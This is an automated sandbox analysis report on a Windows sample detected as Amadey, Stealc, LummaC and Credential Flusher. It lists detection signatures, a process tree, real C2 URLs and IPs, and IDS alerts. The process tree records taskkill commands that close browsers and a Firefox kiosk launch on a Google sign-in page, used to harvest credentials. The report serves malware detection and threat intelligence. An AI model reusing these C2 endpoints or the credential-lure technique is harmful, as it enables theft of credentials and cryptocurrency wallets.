Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1561571
MD5:	56a8d0ea738568054d6a68992c06af83
SHA1:	9f965adb0cb2d9194f7dc72f8c06a52f92e4d58e
SHA256:	6c6f1cb0ee20ab9e1a4b0c34eed3ed086357cc10b05b372d9a09e5d0d516d5c5
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Credential Flusher, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Excessive usage of taskkill to terminate processes

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Potentially malicious time measurement code found

Query firmware table information (likely to detect VMs)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

PE file does not import any functions

PE file overlay found

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 3104 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 56A8D0EA738568054D6A68992C06AF83)

skotes.exe (PID: 1136 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 56A8D0EA738568054D6A68992C06AF83)

skotes.exe (PID: 7252 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 56A8D0EA738568054D6A68992C06AF83)

skotes.exe (PID: 7840 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 56A8D0EA738568054D6A68992C06AF83)

1026aa8304.exe (PID: 8024 cmdline: "C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe" MD5: ACC594995958C5CF5F107FE27DB38F8E)

chrome.exe (PID: 3796 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=1026aa8304.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6268 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2200 --field-trial-handle=2008,i,14332118018770352098,14837137998723071509,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6196 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=1026aa8304.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7964 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2016 --field-trial-handle=1976,i,8954063643087590301,5146573607995166192,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

3c882da37a.exe (PID: 3020 cmdline: "C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe" MD5: 6AF05407143697F6C49BD94E5903F73A)

8e42b8a1d9.exe (PID: 824 cmdline: "C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe" MD5: 7F05860BAEE4FF5DA95E342EAEE96E85)

taskkill.exe (PID: 5040 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4364 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5776 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4584 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3412 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2424 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7560 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 932 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7588 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7624 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 7664 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

822dda4848.exe (PID: 6640 cmdline: "C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe" MD5: 9A939117E7E796C8036B7A92BAC70C4F)

1026aa8304.exe (PID: 5472 cmdline: "C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe" MD5: ACC594995958C5CF5F107FE27DB38F8E)

firefox.exe (PID: 6676 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 7060 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 2516 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2308 -parentBuildID 20230927232528 -prefsHandle 2244 -prefMapHandle 2236 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e9ad3e56-a5f8-465f-88f4-c6514a7e720b} 7060 "\\.\pipe\gecko-crash-server-pipe.7060" 2357986f710 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6608 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4052 -parentBuildID 20230927232528 -prefsHandle 4412 -prefMapHandle 4408 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {476058cb-03a2-43ae-9358-17a682daf601} 7060 "\\.\pipe\gecko-crash-server-pipe.7060" 2350b9c0610 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

3c882da37a.exe (PID: 4956 cmdline: "C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe" MD5: 6AF05407143697F6C49BD94E5903F73A)

8e42b8a1d9.exe (PID: 7500 cmdline: "C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe" MD5: 7F05860BAEE4FF5DA95E342EAEE96E85)

taskkill.exe (PID: 7704 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7568 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7368 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7468 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7504 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2108 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1028 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5252 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7648 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7576 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 6828 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6688 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 5856 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2316 -parentBuildID 20230927232528 -prefsHandle 2260 -prefMapHandle 2256 -prefsLen 25416 -prefMapSize 238769 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ddc58a6b-ce9e-458e-bf41-6e16069df6f3} 6688 "\\.\pipe\gecko-crash-server-pipe.6688" 1fa6786eb10 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

822dda4848.exe (PID: 4192 cmdline: "C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe" MD5: 9A939117E7E796C8036B7A92BAC70C4F)

8e42b8a1d9.exe (PID: 7364 cmdline: "C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe" MD5: 7F05860BAEE4FF5DA95E342EAEE96E85)

taskkill.exe (PID: 7856 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4496 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: LummaC

{"C2 url": "https://property-imper.sbs/api", "Build Version": "LOGS11--LiveTraffi"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.1685802951.00000000052B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000A.00000003.2750846673.0000000000DE0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.1754745364.0000000000731000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000003.2537064102.0000000004D50000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000006.00000003.2300846306.0000000004B40000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000A.00000003.2745433151.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000003.2670882787.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000003.2750984727.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000003.2672254040.0000000000DD8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000031.00000002.3038522751.0000000000EB8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
0000001B.00000003.2681724270.0000000004F90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000A.00000003.2704318174.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001B.00000002.2775509635.0000000001309000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000009.00000002.2593021915.000000000081E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000A.00000003.2639292968.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1726090156.0000000000C01000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000002.3035499418.0000000000731000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001E.00000003.2732051750.00000000015C3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
00000002.00000003.1714335161.0000000004F30000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001B.00000002.2772878233.00000000009F1000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000001.00000003.1704412075.0000000005030000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000002.1744615183.0000000000731000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000002.2593696998.00000000009F1000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000A.00000003.2670234322.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 1026aa8304.exe PID: 8024	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 1026aa8304.exe PID: 8024	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 1026aa8304.exe PID: 8024	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 3c882da37a.exe PID: 3020	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 3c882da37a.exe PID: 3020	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 1026aa8304.exe PID: 5472	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 1026aa8304.exe PID: 5472	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 8e42b8a1d9.exe PID: 824	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Process Memory Space: 3c882da37a.exe PID: 4956	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 3c882da37a.exe PID: 4956	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 8e42b8a1d9.exe PID: 7500	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Click to see the 30 entries

Unpacked PEs

Source	Rule	Description	Author
2.2.skotes.exe.730000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
1.2.skotes.exe.730000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
6.2.skotes.exe.730000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.file.exe.c00000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 7840, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\1026aa8304.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 7840, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\1026aa8304.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T20:23:16.970947+0100	2028371	3	Unknown Traffic	192.168.2.4	49777	104.21.33.116	443	TCP
2024-11-23T20:23:19.080364+0100	2028371	3	Unknown Traffic	192.168.2.4	49784	104.21.33.116	443	TCP
2024-11-23T20:23:21.770577+0100	2028371	3	Unknown Traffic	192.168.2.4	49790	104.21.33.116	443	TCP
2024-11-23T20:23:24.436749+0100	2028371	3	Unknown Traffic	192.168.2.4	49800	104.21.33.116	443	TCP
2024-11-23T20:23:26.776802+0100	2028371	3	Unknown Traffic	192.168.2.4	49808	104.21.33.116	443	TCP
2024-11-23T20:23:30.031959+0100	2028371	3	Unknown Traffic	192.168.2.4	49816	104.21.33.116	443	TCP
2024-11-23T20:23:31.036860+0100	2028371	3	Unknown Traffic	192.168.2.4	49817	104.21.33.116	443	TCP
2024-11-23T20:23:33.112684+0100	2028371	3	Unknown Traffic	192.168.2.4	49824	104.21.33.116	443	TCP
2024-11-23T20:23:33.423483+0100	2028371	3	Unknown Traffic	192.168.2.4	49825	104.21.33.116	443	TCP
2024-11-23T20:23:37.461330+0100	2028371	3	Unknown Traffic	192.168.2.4	49839	104.21.33.116	443	TCP
2024-11-23T20:23:40.933458+0100	2028371	3	Unknown Traffic	192.168.2.4	49852	104.21.33.116	443	TCP
2024-11-23T20:23:42.723707+0100	2028371	3	Unknown Traffic	192.168.2.4	49859	104.21.33.116	443	TCP
2024-11-23T20:23:44.693485+0100	2028371	3	Unknown Traffic	192.168.2.4	49864	104.21.33.116	443	TCP
2024-11-23T20:23:48.152414+0100	2028371	3	Unknown Traffic	192.168.2.4	49881	104.21.33.116	443	TCP
2024-11-23T20:23:51.737169+0100	2028371	3	Unknown Traffic	192.168.2.4	49893	104.21.33.116	443	TCP
2024-11-23T20:23:56.105835+0100	2028371	3	Unknown Traffic	192.168.2.4	49905	104.21.33.116	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T20:23:17.708037+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49777	104.21.33.116	443	TCP
2024-11-23T20:23:19.933584+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49784	104.21.33.116	443	TCP
2024-11-23T20:23:31.799370+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49817	104.21.33.116	443	TCP
2024-11-23T20:23:34.605869+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49825	104.21.33.116	443	TCP
2024-11-23T20:23:43.701793+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49859	104.21.33.116	443	TCP
2024-11-23T20:23:56.722991+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49905	104.21.33.116	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T20:23:17.708037+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49777	104.21.33.116	443	TCP
2024-11-23T20:23:31.799370+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49817	104.21.33.116	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T20:23:19.933584+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49784	104.21.33.116	443	TCP
2024-11-23T20:23:34.605869+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49825	104.21.33.116	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T20:23:45.475734+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	49870	185.215.113.16	80	TCP
2024-11-23T20:23:58.450830+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	49910	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T20:23:16.773685+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49776	185.215.113.43	80	TCP
2024-11-23T20:23:25.255522+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49802	185.215.113.43	80	TCP
2024-11-23T20:23:32.303527+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49822	185.215.113.43	80	TCP
2024-11-23T20:23:43.306332+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49860	185.215.113.43	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T20:23:23.040609+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49790	104.21.33.116	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T20:23:28.965551+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49810	185.215.113.206	80	TCP
2024-11-23T20:23:44.691400+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49861	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T20:23:05.271671+0100	2856147	1	A Network Trojan was detected	192.168.2.4	49748	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T20:23:15.381281+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	49759	TCP
2024-11-23T20:24:09.267381+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	49955	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T20:23:09.884848+0100	2803305	3	Unknown Traffic	192.168.2.4	49760	185.215.113.16	80	TCP
2024-11-23T20:23:18.298997+0100	2803305	3	Unknown Traffic	192.168.2.4	49783	185.215.113.16	80	TCP
2024-11-23T20:23:26.738235+0100	2803305	3	Unknown Traffic	192.168.2.4	49807	185.215.113.16	80	TCP
2024-11-23T20:23:34.224083+0100	2803305	3	Unknown Traffic	192.168.2.4	49827	185.215.113.16	80	TCP
2024-11-23T20:24:09.276000+0100	2803305	3	Unknown Traffic	192.168.2.4	49963	31.41.244.11	80	TCP
2024-11-23T20:24:11.843495+0100	2803305	3	Unknown Traffic	192.168.2.4	49969	31.41.244.11	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.43/Zu7JuNko/index.php8509001	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpindows	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
